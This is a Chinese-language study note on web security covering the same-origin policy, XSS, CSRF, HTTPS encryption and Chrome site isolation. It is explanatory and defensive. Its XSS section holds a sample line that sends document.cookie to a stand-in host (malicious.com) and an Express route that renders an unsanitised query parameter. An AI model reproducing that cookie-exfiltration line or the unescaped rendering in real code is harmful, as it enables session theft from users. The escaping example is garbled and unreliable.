安全策略
同源(Same-origin)
同源策略是浏览器为了安全性和便利性寻找的平衡点,为了兼顾便利性:
- 允许
<script><img><iframe><audio><video>
带 src 属性的标签跨域 - 默许跨域的写操作,当然这会带来 CSRF
- 表单提交
- 重定向
URL 的协议、域名和端口都相同就称同源。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会受到一套基础的安全策略的制约,我们把这称为同源策略。两个不同源的站点:
限制
基于安全性考虑:
- 不能通过 JS 修改操作 DOM
- 不能读取 Cookie、LocalStorage、IndexDB 等数据
- 不能通过 AJAX 访问跨域的资源
- AJAX 请求造成 HTTP 混合内容(Mixed Content)问题
方案
- 引用第三方资源(JSONP)
- 跨域资源共享(CORS)
- 跨文档消息机制;可以通过
window.postMessage
的 JavaScript 接口来和不同源的 DOM 进行通信
攻击
XSS
XSS 全称是 Cross Site Scripting。
// 伪代码
function onClick() {
let url = `http://malicious.com?cookie = ${document.cookie}`;
open(url);
}
onClick();
- 存储型 XSS
- 反射型 XSS,区别在于存储型 XSS 的恶意代码存在数据库⾥,反射型 XSS 的恶意代码存在 URL ⾥。
var express = require("express");
var router = express.Router();
/* GET home page.
* query 传入恶意脚本
*/
router.get("/", function (req, res, next) {
res.render("index", { title: "Express", xss: req.query.xss });
});
- 基于 DOM 的 XSS,Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据,不涉及 Web 服务器。属于前端漏洞
防止 XSS
- 服务端对脚本进行过滤或转码,将
<script>
标签转换为<script>
; - CSP
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
- 响应头设置
HttpOnly
属性,Cookie 将无法通过 document.cookie 读取
CSRF
CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”。CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事。
和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。形成 CSRF 攻击的条件:、
- 第一个,目标站点一定要有 CSRF 漏洞;
- 第二个,用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态;
- 第三个,需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。
防止 CSRF
Set-Cookie
时设置 SameSite 属性- 通过请求头中的 Referer 和 Origin 属性在服务端验证请求的来源站点
- CSRF Token 验证
HTTPS
HTTP 是明文传输的,这给中间人攻击以机会。
对称加密
对称加密是指加密和解密都使用的是相同的密钥。传输 client-random 和 service-random 的过程却是明文的,这意味着黑客也可以拿到协商的加密套件和双方的随机数,由于利用随机数合成密钥的算法是公开的,所以黑客拿到随机数之后,也可以合成密钥,这样数据依然可以被破解,那么黑客也就可以使用密钥来伪造或篡改数据了。
非对称加密
服务端使用私钥加密解密, 浏览器端使用公钥对数据解密加密。缺点是:
- 效率低,怎么效率低我不理解
- 不能保证服务端数据安全
混合加密
在传输数据阶段依然使用对称加密,但是对称加密的密钥我们采用非对称加密来传输。
数字证书
防止通过 DNS 劫持伪造服务端,这就需要数字证书证明服务端是非伪造的。
浏览器安全
所有的键盘鼠标事件都是由浏览器内核来接收的,然后浏览器内核再通过 IPC 将这些事件发送给渲染进程。 Chrome 几年前就开始重构代码,将标签级的渲染进程重构为 iframe 级的渲染进程,然后严格按照同一站点的策略来分配渲染进程,这就是 Chrome 中的站点隔离。实现了站点隔离,就可以将恶意的 iframe 隔离在恶意进程内部,使得它无法继续访问其他 iframe 进程的内容,因此也就无法攻击其他站点了。